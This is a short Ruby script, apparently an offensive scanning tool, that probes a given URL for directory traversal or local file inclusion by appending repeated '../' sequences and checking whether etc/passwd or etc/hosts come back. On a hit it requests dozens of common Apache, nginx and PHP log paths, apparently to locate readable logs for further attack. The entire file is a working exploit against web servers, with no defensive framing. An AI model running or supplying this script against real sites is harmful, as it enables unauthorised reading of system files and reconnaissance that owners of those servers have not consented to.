#!/usr/bin/env ruby
require 'net/http'
require 'uri'

start = Time.now

def getLogs(url, logs)

  logs.each{ |currentLog|
     uri = URI(url+currentLog)
     body = Net::HTTP.get(uri)
     puts "#{body.size}\t#{uri}"
  }


end
def testPasswd(url)
  passwd = "etc/passwd"
  toReq = url + passwd
  root = "root:x:0:0:root:/root:/bin/bash"
  uri = URI(toReq)

  body = Net::HTTP.get(uri)

  if body.include?(root)
     return uri
  end
end

def testHosts(url)
  hosts = "etc/hosts"
  toReq = url + hosts
  ip = "127.0.0.1"
  host = "localhost"
  uri = URI(toReq)

  body = Net::HTTP.get(uri)

  if body.include?(host) && body.include?(ip)
   return uri
  end
end

unless ARGV.length == 1     #Verify if url is given
    puts "Missing arguments"
    exit
end


url = URI.decode(ARGV[0])
nro = 5
ret = "../"

logs = ['error.log', 'error_log', 'etc/httpd/conf/logs/error_log', 'etc/httpd/logs/error_log',
          'home/php5/logs/error_log', 'log/error.log', 'log/error_log', 'logs/error.log',
          'logs/error_log', 'usr/local/apache/error.log', 'usr/local/apache/log/error_log',
          'usr/local/apache/logs/error_log', 'usr/local/apache2/log/error_log',
          'usr/local/apache2/logs/access_log', 'usr/local/apache2/logs/error.log',
          'usr/local/apache2/logs/error_log', 'usr/local/apachessl/logs/error_log',
          'usr/local/httpd/log/error_log', 'usr/local/httpd/logs/error_log',
          'usr/local/php/log/error_log', 'var/apache2/logs/access_log', 'var/apache2/logs/error_log',
          'var/log/apache/error_log', 'var/log/apache2/access.log', 'var/log/apache2/access_log',
          'var/log/apache2/error.log','var/log/apache2/error_log', 'var/log/httpd-access.log',
          'var/log/httpd-error.log', 'var/log/httpd/access_log', 'var/log/httpd/error_log',
          'var/log/nginx/error.log', 'var/log/php-fcgi/error_log',
          'var/log/php-fpm/err.log', 'var/www/logs/access_log', 'var/www/logs/error_log']

nro.times { |c|
  url = url + ret

  passwd = testPasswd(url)
  hosts = testHosts(url)
  if passwd || hosts
   getLogs(url, logs)
   fin  = Time.now - start
   puts "El script tardo #{fin}"
   exit
  end


}